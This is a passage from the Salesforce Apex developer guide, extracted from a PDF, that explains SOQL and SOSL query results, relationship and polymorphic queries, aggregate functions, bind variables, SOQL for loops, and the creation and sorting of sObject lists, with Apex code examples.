For example, you can return a list of accounts, contacts, opportunities, and leads that begin with the phrase map:
List<List<SObject>> searchList = [FIND 'map*' IN ALL FIELDS RETURNING Account (Id, Name),
Contact, Opportunity, Lead];

Note:
The syntax of the FIND clause in Apex differs from the syntax of the FIND clause in the SOAP API:
•

In Apex, the value of the FIND clause is demarcated with single quotes. For example:
FIND 'map*' IN ALL FIELDS RETURNING Account (Id, Name), Contact, Opportunity, Lead

•

In the Force.com API, the value of the FIND clause is demarcated with braces. For example:
FIND {map*} IN ALL FIELDS RETURNING Account (Id, Name), Contact, Opportunity, Lead

From searchList, you can create arrays for each object returned:
Account [] accounts = ((List<Account>)searchList[0]);
Contact [] contacts = ((List<Contact>)searchList[1]);
Opportunity [] opportunities = ((List<Opportunity>)searchList[2]);
Lead [] leads = ((List<Lead>)searchList[3]);

126
Working with Data in Apex

Working with SOQL and SOSL Query Results

For a full description of SOSL query syntax, see the Salesforce SOQL and SOSL Reference Guide.

Working with SOQL and SOSL Query Results
SOQL and SOSL queries only return data for sObject fields that are selected in the original query. If you try to access a field
that was not selected in the SOQL or SOSL query (other than ID), you receive a runtime error, even if the field contains a
value in the database. The following code example causes a runtime error:
insert new Account(Name = 'Singha');
Account acc = [SELECT Id FROM Account WHERE Name = 'Singha' LIMIT 1];
// Note that name is not selected
String name = [SELECT Id FROM Account WHERE Name = 'Singha' LIMIT 1].Name;

The following is the same code example rewritten so it does not produce a runtime error. Note that Name has been added as
part of the select statement, after Id.
insert new Account(Name = 'Singha');
Account acc = [SELECT Id FROM Account WHERE Name = 'Singha' LIMIT 1];
// Note that name is now selected
String name = [SELECT Id, Name FROM Account WHERE Name = 'Singha' LIMIT 1].Name;

Even if only one sObject field is selected, a SOQL or SOSL query always returns data as complete records. Consequently,
you must dereference the field in order to access it. For example, this code retrieves an sObject list from the database with a
SOQL query, accesses the first account record in the list, and then dereferences the record's AnnualRevenue field:
Double rev = [SELECT AnnualRevenue FROM Account
WHERE Name = 'Acme'][0].AnnualRevenue;
// When only one result is returned in a SOQL query, it is not necessary
// to include the list's index.
Double rev2 = [SELECT AnnualRevenue FROM Account
WHERE Name = 'Acme' LIMIT 1].AnnualRevenue;

The only situation in which it is not necessary to dereference an sObject field in the result of an SOQL query, is when the
query returns an Integer as the result of a COUNT operation:
Integer i = [SELECT COUNT() FROM Account];

Fields in records returned by SOSL queries must always be dereferenced.
Also note that sObject fields that contain formulas return the value of the field at the time the SOQL or SOSL query was
issued. Any changes to other fields that are used within the formula are not reflected in the formula field value until the record
has been saved and re-queried in Apex. Like other read-only sObject fields, the values of the formula fields themselves cannot
be changed in Apex.

Accessing sObject Fields Through Relationships
sObject records represent relationships to other records with two fields: an ID and an address that points to a representation
of the associated sObject. For example, the Contact sObject has both an AccountId field of type ID, and an Account field
of type Account that points to the associated sObject record itself.
The ID field can be used to change the account with which the contact is associated, while the sObject reference field can be
used to access data from the account. The reference field is only populated as the result of a SOQL or SOSL query (see note
below).

127
Working with Data in Apex

Accessing sObject Fields Through Relationships

For example, the following Apex code shows how an account and a contact can be associated with one another, and then how
the contact can be used to modify a field on the account:
Note: In order to provide the most complete example, this code uses some elements that are described later in this
guide:
•

For information on insert and update, see Insert Statement on page 390 and Update Statement on page 390.

Account a = new Account(Name = 'Acme');
insert a; // Inserting the record automatically assigns a
// value to its ID field
Contact c = new Contact(LastName = 'Weissman');
c.AccountId = a.Id;
// The new contact now points at the new account
insert c;
// A SOQL query accesses data for the inserted contact,
// including a populated c.account field
c = [SELECT Account.Name FROM Contact WHERE Id = :c.Id];
// Now fields in both records can be changed through the contact
c.Account.Name = 'salesforce.com';
c.LastName = 'Roth';
// To update the database, the two types of records must be
// updated separately
update c;
// This only changes the contact's last name
update c.Account; // This updates the account name

Note: The expression c.Account.Name, as well as any other expression that traverses a relationship, displays slightly
different characteristics when it is read as a value than when it is modified:
•

•

When being read as a value, if c.Account is null, then c.Account.Name evaluates to null, but does not yield
a NullPointerException. This design allows developers to navigate multiple relationships without the tedium
of having to check for null values.
When being modified, if c.Account is null, then c.Account.Name does yield a NullPointerException.

In addition, the sObject field key can be used with insert, update, or upsert to resolve foreign keys by external ID. For
example:
Account refAcct = new Account(externalId__c = '12345');
Contact c = new Contact(Account = refAcct, LastName = 'Kay');
insert c;

This inserts a new contact with the AccountId equal to the account with the external_id equal to ‘12345’. If there is no
such account, the insert fails.
Tip:
The following code is equivalent to the code above. However, because it uses a SOQL query, it is not as efficient. If
this code was called multiple times, it could reach the execution limit for the maximum number of SOQL queries.
For more information on execution limits, see Understanding Execution Governors and Limits on page 236.
Account refAcct = [SELECT Id FROM Account WHERE externalId__c='12345'];
Contact c = new Contact(Account = refAcct.Id);

128
Working with Data in Apex

Understanding Foreign Key and Parent-Child Relationship
SOQL Queries

insert c;

Understanding Foreign Key and Parent-Child Relationship SOQL Queries
The SELECT statement of a SOQL query can be any valid SOQL statement, including foreign key and parent-child record
joins. If foreign key joins are included, the resulting sObjects can be referenced using normal field notation. For example:
System.debug([SELECT Account.Name FROM Contact
WHERE FirstName = 'Caroline'].Account.Name);

Additionally, parent-child relationships in sObjects act as SOQL queries as well. For example:
for (Account a : [SELECT Id, Name, (SELECT LastName FROM Contacts)
FROM Account
WHERE Name = 'Acme']) {
Contact[] cons = a.Contacts;
}
//The following example also works because we limit to only 1 contact
for (Account a : [SELECT Id, Name, (SELECT LastName FROM Contacts LIMIT 1)
FROM Account
WHERE Name = 'testAgg']) {
Contact c = a.Contacts;
}

Working with SOQL Aggregate Functions
Aggregate functions in SOQL, such as SUM() and MAX(), allow you to roll up and summarize your data in a query. For more
information on aggregate functions, see ”Aggregate Functions” in the Salesforce SOQL and SOSL Reference Guide.
You can use aggregate functions without using a GROUP BY clause. For example, you could use the AVG() aggregate function
to find the average Amount for all your opportunities.
AggregateResult[] groupedResults
= [SELECT AVG(Amount)aver FROM Opportunity];
Object avgAmount = groupedResults[0].get('aver');

Note that any query that includes an aggregate function returns its results in an array of AggregateResult objects. AggregateResult
is a read-only sObject and is only used for query results.
Aggregate functions become a more powerful tool to generate reports when you use them with a GROUP BY clause. For
example, you could find the average Amount for all your opportunities by campaign.
AggregateResult[] groupedResults
= [SELECT CampaignId, AVG(Amount)
FROM Opportunity
GROUP BY CampaignId];
for (AggregateResult ar : groupedResults) {
System.debug('Campaign ID' + ar.get('CampaignId'));
System.debug('Average amount' + ar.get('expr0'));
}

Any aggregated field in a SELECT list that does not have an alias automatically gets an implied alias with a format expri,
where i denotes the order of the aggregated fields with no explicit aliases. The value of i starts at 0 and increments for every

129
Working with Data in Apex

Working with Very Large SOQL Queries

aggregated field with no explicit alias. For more information, see ”Using Aliases with GROUP BY” in the Salesforce SOQL and
SOSL Reference Guide.
Note: Queries that include aggregate functions are subject to the same governor limits as other SOQL queries for
the total number of records returned. This limit includes any records included in the aggregation, not just the number
of rows returned by the query. If you encounter this limit, you should add a condition to the WHERE clause to reduce
the amount of records processed by the query.

Working with Very Large SOQL Queries
Your SOQL query may return so many sObjects that the limit on heap size is exceeded and an error occurs. To resolve, use
a SOQL query for loop instead, since it can process multiple batches of records through the use of internal calls to query
and queryMore.
For example, if the results are too large, the syntax below causes a runtime exception:
Account[] accts = [SELECT Id FROM Account];

Instead, use a SOQL query for loop as in one of the following examples:
// Use this format if you are not executing DML statements
// within the for loop
for (Account a : [SELECT Id, Name FROM Account
WHERE Name LIKE 'Acme%']) {
// Your code without DML statements here
}
// Use this format for efficiency if you are executing DML statements
// within the for loop
for (List<Account> accts : [SELECT Id, Name FROM Account
WHERE Name LIKE 'Acme%']) {
// Your code here
update accts;
}

The following example demonstrates a SOQL query for loop used to mass update records. Suppose you want to change the
last name of a contact across all records for contacts whose first and last names match a specified criteria:
public void massUpdate() {
for (List<Contact> contacts:
[SELECT FirstName, LastName FROM Contact]) {
for(Contact c : contacts) {
if (c.FirstName == 'Barbara' &&
c.LastName == 'Gordon') {
c.LastName = 'Wayne';
}
}
update contacts;
}
}

Instead of using a SOQL query in a for loop, the preferred method of mass updating records is to use batch Apex, which
minimizes the risk of hitting governor limits.
For more information, see SOQL For Loops on page 136.

130
Working with Data in Apex

Working with Very Large SOQL Queries

More Efficient SOQL Queries
For best performance, SOQL queries must be selective, particularly for queries inside of triggers. To avoid long execution
times, non-selective SOQL queries may be terminated by the system. Developers will receive an error message when a
non-selective query in a trigger executes against an object that contains more than 100,000 records. To avoid this error, ensure
that the query is selective.
Selective SOQL Query Criteria
•

•

A query is selective when one of the query filters is on an indexed field and the query filter reduces the resulting
number of rows below a system-defined threshold. The performance of the SOQL query improves when two or
more filters used in the WHERE clause meet the mentioned conditions.
The selectivity threshold is 10% of the records for the first million records and less than 5% of the records after the
first million records, up to a maximum of 333,000 records. In some circumstances, for example with a query filter
that is an indexed standard field, the threshold may be higher. Also, the selectivity threshold is subject to change.

Custom Index Considerations for Selective SOQL Queries
•

•
•
•

•

The following fields are indexed by default: primary keys (Id, Name and Owner fields), foreign keys (lookup or
master-detail relationship fields), audit dates (such as LastModifiedDate), and custom fields marked as External ID
or Unique.
Fields that aren’t indexed by default might later be automatically indexed if the Salesforce optimizer recognizes that
an index will improve performance for frequently run queries.
Salesforce.com Support can add custom indexes on request for customers.
A custom index can't be created on these types of fields: multi-select picklists, currency fields in a multicurrency
organization, long text fields, some formula fields, and binary fields (fields of type blob, file, or encrypted text.) Note
that new data types, typically complex ones, may be added to Salesforce and fields of these types may not allow custom
indexing.
Typically, a custom index won't be used in these cases:
◊ The value(s) queried for exceeds the system-defined threshold mentioned above
◊ The filter operator is a negative operator such as NOT EQUAL TO (or !=), NOT CONTAINS, and NOT STARTS
WITH
◊ The CONTAINS operator is used in the filter and the number of rows to be scanned exceeds 333,000. This is
because the CONTAINS operator requires a full scan of the index. Note that this threshold is subject to change.
◊ When comparing with an empty value (Name != '')

However, there are other complex scenarios in which custom indexes won't be used. Contact your salesforce.com
representative if your scenario isn't covered by these cases or if you need further assistance with non-selective queries.
Examples of Selective SOQL Queries
To better understand whether a query on a large object is selective or not, let's analyze some queries. For these queries,
we will assume there are more than 100,000 records (including soft-deleted records, that is, deleted records that are still
in the Recycle Bin) for the Account sObject.
Query 1:
SELECT Id FROM Account WHERE Id IN (<list of account IDs>)

The WHERE clause is on an indexed field (Id). If SELECT COUNT() FROM Account WHERE Id IN (<list of
account IDs>) returns fewer records than the selectivity threshold, the index on Id is used. This will typically be the
case since the list of IDs only contains a small amount of records.
Query 2:
SELECT Id FROM Account WHERE Name != ''

131
Working with Data in Apex

Using SOQL Queries That Return One Record

Since Account is a large object even though Name is indexed (primary key), this filter returns most of the records, making
the query non-selective.
Query 3:
SELECT Id FROM Account WHERE Name != '' AND CustomField__c = 'ValueA'

Here we have to see if each filter, when considered individually, is selective. As we saw in the previous example the first
filter isn't selective. So let's focus on the second one. If the count of records returned by SELECT COUNT() FROM
Account WHERE CustomField__c = 'ValueA' is lower than the selectivity threshold, and CustomField__c is
indexed, the query is selective.

Using SOQL Queries That Return One Record
SOQL queries can be used to assign a single sObject value when the result list contains only one element. When the L-value
of an expression is a single sObject type, Apex automatically assigns the single sObject record in the query result list to the
L-value. A runtime exception results if zero sObjects or more than one sObject is found in the list. For example:
List<Account> accts = [SELECT Id FROM Account];
// These lines of code are only valid if one row is returned from
// the query. Notice that the second line dereferences the field from the
// query without assigning it to an intermediary sObject variable.
Account acct = [SELECT Id FROM Account];
String name = [SELECT Name FROM Account].Name;

Improving Performance by Not Searching on Null Values
In your SOQL and SOSL queries, avoid searching records that contain null values. Filter out null values first to improve
performance. In the following example, any records where the treadID value is null are filtered out of the returned values.
Public class TagWS {
/* getThreadTags
*
* a quick method to pull tags not in the existing list
*
*/
public static webservice List<String>
getThreadTags(String threadId, List<String> tags) {
system.debug(LoggingLevel.Debug,tags);
List<String> retVals = new List<String>();
Set<String> tagSet = new Set<String>();
Set<String> origTagSet = new Set<String>();
origTagSet.addAll(tags);
// Note WHERE clause verifies that threadId is not null
for(CSO_CaseThread_Tag__c t :
[SELECT Name FROM CSO_CaseThread_Tag__c
WHERE Thread__c = :threadId AND
WHERE threadID != null])
{
tagSet.add(t.Name);
}
for(String x : origTagSet) {
// return a minus version of it so the UI knows to clear it
if(!tagSet.contains(x)) retVals.add('-' + x);

132
Working with Data in Apex

Working with Polymorphic Relationships in SOQL Queries

}
for(String x : tagSet) {
// return a plus version so the UI knows it's new
if(!origTagSet.contains(x)) retvals.add('+' + x);
}
return retVals;
}

Working with Polymorphic Relationships in SOQL Queries
A polymorphic relationship is a relationship between objects where a referenced object can be one of several different types.
For example, the What relationship field of an Event could be an Account, or a Campaign, or an Opportunity.
The following describes how to use SOQL queries with polymorphic relationships in Apex. If you want more general information
on polymorphic relationships, see Understanding Polymorphic Keys and Relationships in the Force.com SOQL and SOSL
Reference.
You can use SOQL queries that reference polymorphic fields in Apex to get results that depend on the object type referenced
by the polymorphic field. One approach is to filter your results using the Type qualifier. This example queries Events that are
related to an Account or Opportunity via the What field.
List<Event> = [SELECT Description FROM Event WHERE What.Type IN ('Account', 'Opportunity')];

Another approach would be to use the TYPEOF clause in the SOQL SELECT statement. This example also queries Events
that are related to an Account or Opportunity via the What field.
List<Event> = [SELECT TYPEOF What WHEN Account THEN Phone WHEN Opportunity THEN Amount END
FROM Event];

Note: TYPEOF is currently available as a Developer Preview as part of the SOQL Polymorphism feature. For more
information on enabling TYPEOF for your organization, contact salesforce.com.
These queries will return a list of sObjects where the relationship field references the desired object types.
If you need to access the referenced object in a polymorphic relationship, you can use the instanceof keyword to determine
the object type. The following example uses instanceof to determine whether an Account or Opportunity is related to an
Event.
Event myEvent = eventFromQuery;
if (myEvent.What instanceof Account) {
// myEvent.What references an Account, so process accordingly
} else if (myEvent.What instanceof Opportunity) {
// myEvent.What references an Opportunity, so process accordingly
}

Note that you must assign the referenced sObject that the query returns to a variable of the appropriate type before you can
pass it to another method. The following example queries for User or Group owners of Merchandise__c custom objects using
a SOQL query with a TYPEOF clause, uses instanceof to determine the owner type, and then assigns the owner objects to
User or Group type variables before passing them to utility methods.
public class PolymorphismExampleClass {
// Utility method for a User
public static void processUser(User theUser) {
System.debug('Processed User');
}

133
Working with Data in Apex

Using Apex Variables in SOQL and SOSL Queries

// Utility method for a Group
public static void processGroup(Group theGroup) {
System.debug('Processed Group');
}
public static void processOwnersOfMerchandise() {
// Select records based on the Owner polymorphic relationship field
List<Merchandise__c> merchandiseList = [SELECT TYPEOF Owner WHEN User THEN LastName
WHEN Group THEN Email END FROM Merchandise__c];
// We now have a list of Merchandise__c records owned by either a User or Group
for (Merchandise__c merch: merchandiseList) {
// We can use instanceof to check the polymorphic relationship type
// Note that we have to assign the polymorphic reference to the appropriate
// sObject type before passing to a method
if (merch.Owner instanceof User) {
User userOwner = merch.Owner;
processUser(userOwner);
} else if (merch.Owner instanceof Group) {
Group groupOwner = merch.Owner;
processGroup(groupOwner);
}
}
}
}

Using Apex Variables in SOQL and SOSL Queries
SOQL and SOSL statements in Apex can reference Apex code variables and expressions if they are preceded by a colon (:).
This use of a local code variable within a SOQL or SOSL statement is called a bind. The Apex parser first evaluates the local
variable in code context before executing the SOQL or SOSL statement. Bind expressions can be used as:
•
•
•
•
•
•

The search string in FIND clauses.
The filter literals in WHERE clauses.
The value of the IN or NOT IN operator in WHERE clauses, allowing filtering on a dynamic set of values. Note that this is
of particular use with a list of IDs or Strings, though it works with lists of any type.
The division names in WITH DIVISION clauses.
The numeric value in LIMIT clauses.
The numeric value in OFFSET clauses.

Bind expressions can't be used with other clauses, such as INCLUDES.
For example:
Account A = new Account(Name='xxx');
insert A;
Account B;
// A simple bind
B = [SELECT Id FROM Account WHERE Id = :A.Id];
// A bind with arithmetic
B = [SELECT Id FROM Account
WHERE Name = :('x' + 'xx')];
String s = 'XXX';
// A bind with expressions
B = [SELECT Id FROM Account
WHERE Name = :'XXXX'.substring(0,3)];
// A bind with an expression that is itself a query result
B = [SELECT Id FROM Account

134
Working with Data in Apex

Querying All Records with a SOQL Statement

WHERE Name = :[SELECT Name FROM Account
WHERE Id = :A.Id].Name];
Contact C = new Contact(LastName='xxx', AccountId=A.Id);
insert new Contact[]{C, new Contact(LastName='yyy',
accountId=A.id)};
// Binds in both the parent and aggregate queries
B = [SELECT Id, (SELECT Id FROM Contacts
WHERE Id = :C.Id)
FROM Account
WHERE Id = :A.Id];
// One contact returned
Contact D = B.Contacts;
// A limit bind
Integer i = 1;
B = [SELECT Id FROM Account LIMIT :i];
// An OFFSET bind
Integer offsetVal = 10;
List<Account> offsetList = [SELECT Id FROM Account OFFSET :offsetVal];
// An IN-bind with an Id list. Note that a list of sObjects
// can also be used--the Ids of the objects are used for
// the bind
Contact[] cc = [SELECT Id FROM Contact LIMIT 2];
Task[] tt = [SELECT Id FROM Task WHERE WhoId IN :cc];
// An IN-bind with a String list
String[] ss = new String[]{'a', 'b'};
Account[] aa = [SELECT Id FROM Account
WHERE AccountNumber IN :ss];
// A SOSL query with binds in all possible clauses
String myString1
String myString2
Integer myInt3 =
String myString4
Integer myInt5 =

= 'aaa';
= 'bbb';
11;
= 'ccc';
22;

List<List<SObject>> searchList = [FIND :myString1 IN ALL FIELDS
RETURNING
Account (Id, Name WHERE Name LIKE :myString2
LIMIT :myInt3),
Contact,
Opportunity,
Lead
WITH DIVISION =:myString4
LIMIT :myInt5];

Querying All Records with a SOQL Statement
SOQL statements can use the ALL ROWS keywords to query all records in an organization, including deleted records and
archived activities. For example:
System.assertEquals(2, [SELECT COUNT() FROM Contact WHERE AccountId = a.Id ALL ROWS]);

You can use ALL ROWS to query records in your organization's Recycle Bin. You cannot use the ALL ROWS keywords with
the FOR UPDATE keywords.

135
Working with Data in Apex

SOQL For Loops

SOQL For Loops
SOQL for loops iterate over all of the sObject records returned by a SOQL query. The syntax of a SOQL for loop is either:
for (variable : [soql_query]) {
code_block
}

or
for (variable_list : [soql_query]) {
code_block
}

Both variable and variable_list must be of the same type as the sObjects that are returned by the soql_query.
As in standard SOQL queries, the [soql_query] statement can refer to code expressions in their WHERE clauses using the
: syntax. For example:
String s = 'Acme';
for (Account a : [SELECT Id, Name from Account
where Name LIKE :(s+'%')]) {
// Your code
}

The following example combines creating a list from a SOQL query, with the DML update method.
// Create a list of account records from a SOQL query
List<Account> accs = [SELECT Id, Name FROM Account WHERE Name = 'Siebel'];
// Loop through the list and update the Name field
for(Account a : accs){
a.Name = 'Oracle';
}
// Update the database
update accs;

SOQL For Loops Versus Standard SOQL Queries
SOQL for loops differ from standard SOQL statements because of the method they use to retrieve sObjects. While the
standard queries discussed in SOQL and SOSL Queries can retrieve either the count of a query or a number of object records,
SOQL for loops retrieve all sObjects, using efficient chunking with calls to the query and queryMore methods of the
SOAP API. Developers should always use a SOQL for loop to process query results that return many records, to avoid the
limit on heap size.
Note that queries including an aggregate function don't support queryMore. A runtime exception occurs if you use a query
containing an aggregate function that returns more than 2000 rows in a for loop.

SOQL For Loop Formats
SOQL for loops can process records one at a time using a single sObject variable, or in batches of 200 sObjects at a time
using an sObject list:

136
Working with Data in Apex

•

•

SOQL For Loop Formats

The single sObject format executes the for loop's <code_block> once per sObject record. Consequently, it is easy to
understand and use, but is grossly inefficient if you want to use data manipulation language (DML) statements within the
for loop body. Each DML statement ends up processing only one sObject at a time.
The sObject list format executes the for loop's <code_block> once per list of 200 sObjects. Consequently, it is a little
more difficult to understand and use, but is the optimal choice if you need to use DML statements within the for loop
body. Each DML statement can bulk process a list of sObjects at a time.

For example, the following code illustrates the difference between the two types of SOQL query for loops:
// Create a savepoint because the data should not be committed to the database
Savepoint sp = Database.setSavepoint();
insert new Account[]{new Account(Name = 'yyy'),
new Account(Name = 'yyy'),
new Account(Name = 'yyy')};
// The single sObject format executes the for loop once per returned record
Integer i = 0;
for (Account tmp : [SELECT Id FROM Account WHERE Name = 'yyy']) {
i++;
}
System.assert(i == 3); // Since there were three accounts named 'yyy' in the
// database, the loop executed three times
// The sObject list format executes the for loop once per returned batch
// of records
i = 0;
Integer j;
for (Account[] tmp : [SELECT Id FROM Account WHERE Name = 'yyy']) {
j = tmp.size();
i++;
}
System.assert(j == 3); // The list should have contained the three accounts
// named 'yyy'
System.assert(i == 1); // Since a single batch can hold up to 100 records and,
// only three records should have been returned, the
// loop should have executed only once
// Revert the database to the original state
Database.rollback(sp);

Note:
•
•

•

The break and continue keywords can be used in both types of inline query for loop formats. When using
the sObject list format, continue skips to the next list of sObjects.
DML statements can only process up to 10,000 records at a time, and sObject list for loops process records in
batches of 200. Consequently, if you are inserting, updating, or deleting more than one record per returned record
in an sObject list for loop, it is possible to encounter runtime limit errors. See Understanding Execution Governors
and Limits on page 236.
You might get a QueryException in a SOQL for loop with the message Aggregate query has too
many rows for direct assignment, use FOR loop. This exception is sometimes thrown when accessing
a large set of child records of a retrieved sObject inside the loop, or when getting the size of such a record set. To
avoid getting this exception, use a for loop to iterate over the child records, as follows.
Integer count=0;
for (Contact c : returnedAccount.Contacts) {
count++;
// Do some other processing
}

137
Working with Data in Apex

sObject Collections

sObject Collections
Lists of sObjects
Lists can contain sObjects among other types of elements. Lists of sObjects can be used for bulk processing of data.
You can use a list to store sObjects. Lists are useful when working with SOQL queries. SOQL queries return sObject data
and this data can be stored in a list of sObjects. Also, you can use lists to perform bulk operations, such as inserting a list of
sObjects with one call.
To declare a list of sObjects, use the List keyword followed by the sObject type within <> characters. For example:
// Create an empty list of Accounts
List<Account> myList = new List<Account>();

Auto-populating a List from a SOQL Query
You can assign a List variable directly to the results of a SOQL query. The SOQL query returns a new list populated with
the records returned. Make sure the declared List variable contains the same sObject that is being queried. Or you can use the
generic sObject data type.
This example shows how to declare and assign a list of accounts to the return value of a SOQL query. The query returns up
to 1,000 returns account records containing the Id and Name fields.
// Create a list of account records from a SOQL query
List<Account> accts = [SELECT Id, Name FROM Account LIMIT 1000];

Adding and Retrieving List Elements
As with lists of primitive data types, you can access and set elements of sObject lists using the List methods provided by
Apex. For example:
List<Account> myList = new List<Account>(); // Define a new list
Account a = new Account(Name='Acme'); // Create the account first
myList.add(a);
// Add the account sObject
Account a2 = myList.get(0);
// Retrieve the element at index 0

Bulk Processing
You can bulk-process a list of sObjects by passing a list to the DML operation. This example shows how you can insert a list
of accounts.
// Define the list
List<Account> acctList = new List<Account>();
// Create account sObjects
Account a1 = new Acount(Name='Account1');
Account a2 = new Acount(Name='Account2');
// Add accounts to the list
acctList.add(a1);
acctList.add(a2);
// Bulk insert the list
insert acctList;

Record ID Generation
Apex automatically generates IDs for each object in a list of sObjects when the list is successfully inserted or upserted into the
database with a data manipulation language (DML) statement. Consequently, a list of sObjects cannot be inserted or upserted

138
Working with Data in Apex

Sorting Lists of sObjects

if it contains the same sObject more than once, even if it has a null ID. This situation would imply that two IDs would need
to be written to the same structure in memory, which is illegal.
For example, the insert statement in the following block of code generates a ListException because it tries to insert a
list with two references to the same sObject (a):
try {
// Create a list with two references to the same sObject element
Account a = new Account();
List<Account> accs = new List<Account>{a, a};
// Attempt to insert it...
insert accs;
// Will not get here
System.assert(false);
} catch (ListException e) {
// But will get here
}

Using Array Notation for One-Dimensional Lists of sObjects
Alternatively, you can use the array notation (square brackets) to declare and reference lists of sObjects.
For example, this declares a list of accounts using the array notation.
Account[] accts = new Account[1];

This example adds an element to the list using square brackets.
accts[0] = new Account(Name='Acme2');

These are some additional examples of using the array notation with sObject lists.
Example

Description

List<Account> accts = new Account[]{};

Defines an Account list with no elements.

List<Account> accts = new Account[]
{new Account(), null, new
Account()};

Defines an Account list with memory allocated for three
Accounts, including a new Account object in the first position,
null in the second position, and another new Account object
in the third position.

List<Contact> contacts = new List<Contact>

Defines the Contact list with a new list.

(otherList);

Sorting Lists of sObjects
Using the List.sort method, you can sort lists sObjects.
For sObjects, sorting is in ascending order and uses a sequence of comparison steps outlined in the next section. Alternatively,
you can also implement a custom sort order for sObjects by wrapping your sObject in an Apex class and implementing the
Comparable interface, as shown in Custom Sort Order of sObjects.

139
Working with Data in Apex

Sorting Lists of sObjects

Default Sort Order of sObjects
The List.sort method sorts sObjects in ascending order and compares sObjects using an ordered sequence of steps that
specify the labels or fields used. The comparison starts with the first step in the sequence and ends when two sObjects are
sorted using specified labels or fields. The following is the comparison sequence used:
1. The label of the sObject type.
For example, an Account sObject will appear before a Contact.
2. The Name field, if applicable.
For example, if the list contains two accounts named A and B respectively, account A comes before account B.
3. Standard fields, starting with the fields that come first in alphabetical order, except for the Id and Name fields.
For example, if two accounts have the same name, the first standard field used for sorting is AccountNumber.
4. Custom fields, starting with the fields that come first in alphabetical order.
For example, suppose two accounts have the same name and identical standard fields, and there are two custom fields,
FieldA and FieldB, the value of FieldA is used first for sorting.
Not all steps in this sequence are necessarily carried out. For example, if a list contains two sObjects of the same type and with
unique Name values, they’re sorted based on the Name field and sorting stops at step 2. Otherwise, if the names are identical
or the sObject doesn’t have a Name field, sorting proceeds to step 3 to sort by standard fields.
For text fields, the sort algorithm uses the Unicode sort order. Also, empty fields precede non-empty fields in the sort order.
This is an example of sorting a list of Account sObjects. This example shows how the Name field is used to place the Acme
account ahead of the two sForce accounts in the list. Since there are two accounts named sForce, the Industry field is used to
sort these remaining accounts because the Industry field comes before the Site field in alphabetical order.
Account[] acctList = new List<Account>();
acctList.add( new Account(
Name='sForce',
Industry='Biotechnology',
Site='Austin'));
acctList.add(new Account(
Name='sForce',
Industry='Agriculture',
Site='New York'));
acctList.add(new Account(
Name='Acme'));
System.debug(acctList);
acctList.sort();
System.assertEquals('Acme', acctList[0].Name);
System.assertEquals('sForce', acctList[1].Name);
System.assertEquals('Agriculture', acctList[1].Industry);
System.assertEquals('sForce', acctList[2].Name);
System.assertEquals('Biotechnology', acctList[2].Industry);
System.debug(acctList);

This example is similar to the previous one, except that it uses the Merchandise__c custom object. This example shows how
the Name field is used to place the Notebooks merchandise ahead of Pens in the list. Since there are two merchandise sObjects
with the Name field value of Pens, the Description field is used to sort these remaining merchandise items because the
Description field comes before the Price and Total_Inventory fields in alphabetical order.
Merchandise__c[] merchList = new List<Merchandise__c>();
merchList.add( new Merchandise__c(
Name='Pens',
Description__c='Red pens',
Price__c=2,
Total_Inventory__c=1000));
merchList.add( new Merchandise__c(
Name='Notebooks',

140
Working with Data in Apex

Sorting Lists of sObjects

Description__c='Cool notebooks',
Price__c=3.50,
Total_Inventory__c=2000));
merchList.add( new Merchandise__c(
Name='Pens',
Description__c='Blue pens',
Price__c=1.75,
Total_Inventory__c=800));
System.debug(merchList);
merchList.sort();
System.assertEquals('Notebooks', merchList[0].Name);
System.assertEquals('Pens', merchList[1].Name);
System.assertEquals('Blue pens', merchList[1].Description__c);
System.assertEquals('Pens', merchList[2].Name);
System.assertEquals('Red pens', merchList[2].Description__c);
System.debug(merchList);

Custom Sort Order of sObjects
To implement a custom sort order for sObjects in lists, create a wrapper class for the sObject and implement the Comparable
interface. The wrapper class contains the sObject in question and implements the compareTo method, in which you specify
the sort logic.
This example shows how to create a wrapper class for Opportunity. The implementation of the compareTo method in this
class compares two opportunities based on the Amount field—the class member variable contained in this instance, and the
opportunity object passed into the method.
global class OpportunityWrapper implements Comparable {
public Opportunity oppy;
// Constructor
public OpportunityWrapper(Opportunity op) {
oppy = op;
}
// Compare opportunities based on the opportunity amount.
global Integer compareTo(Object compareTo) {
// Cast argument to OpportunityWrapper
OpportunityWrapper compareToOppy = (OpportunityWrapper)compareTo;
// The return value of 0 indicates that both elements are equal.
Integer returnValue = 0;
if (oppy.Amount > compareToOppy.oppy.Amount) {
// Set return value to a positive value.
returnValue = 1;
} else if (oppy.Amount < compareToOppy.oppy.Amount) {
// Set return value to a negative value.
returnValue = -1;
}
return returnValue;
}
}

This example provides a test for the OpportunityWrapper class. It sorts a list of OpportunityWrapper objects and verifies
that the list elements are sorted by the opportunity amount.
@isTest
private class OpportunityWrapperTest {
static testmethod void test1() {
// Add the opportunity wrapper objects to a list.
OpportunityWrapper[] oppyList = new List<OpportunityWrapper>();
Date closeDate = Date.today().addDays(10);
oppyList.add( new OpportunityWrapper(new Opportunity(

141
Working with Data in Apex

Expanding sObject and List Expressions

Name='Edge Installation',
CloseDate=closeDate,
StageName='Prospecting',
Amount=50000)));
oppyList.add( new OpportunityWrapper(new Opportunity(
Name='United Oil Installations',
CloseDate=closeDate,
StageName='Needs Analysis',
Amount=100000)));
oppyList.add( new OpportunityWrapper(new Opportunity(
Name='Grand Hotels SLA',
CloseDate=closeDate,
StageName='Prospecting',
Amount=25000)));
// Sort the wrapper objects using the implementation of the
// compareTo method.
oppyList.sort();
// Verify the sort order
System.assertEquals('Grand Hotels SLA', oppyList[0].oppy.Name);
System.assertEquals(25000, oppyList[0].oppy.Amount);
System.assertEquals('Edge Installation', oppyList[1].oppy.Name);
System.assertEquals(50000, oppyList[1].oppy.Amount);
System.assertEquals('United Oil Installations', oppyList[2].oppy.Name);
System.assertEquals(100000, oppyList[2].oppy.Amount);
// Write the sorted list contents to the debug log.
System.debug(oppyList);
}
}

Expanding sObject and List Expressions
As in Java, sObject and list expressions can be expanded with method references and list expressions, respectively, to form new
expressions.
In the following example, a new variable containing the length of the new account name is assigned to acctNameLength.
Integer acctNameLength = new Account[]{new Account(Name='Acme')}[0].Name.length();

In the above, new Account[] generates a list.
The list is populated with one element by the new statement {new Account(name='Acme')}.
Item 0, the first item in the list, is then accessed by the next part of the string [0].
The name of the sObject in the list is accessed, followed by the method returning the length name.length().
In the following example, a name that has been shifted to lower case is returned. The SOQL statement returns a list of which
the first element (at index 0) is accessed through [0]. Next, the Name field is accessed and converted to lowercase with this
expression .Name.toLowerCase().
String nameChange = [SELECT Name FROM Account][0].Name.toLowerCase();

Sets of Objects
Sets can contain sObjects among other types of elements.

142
Working with Data in Apex

Maps of sObjects

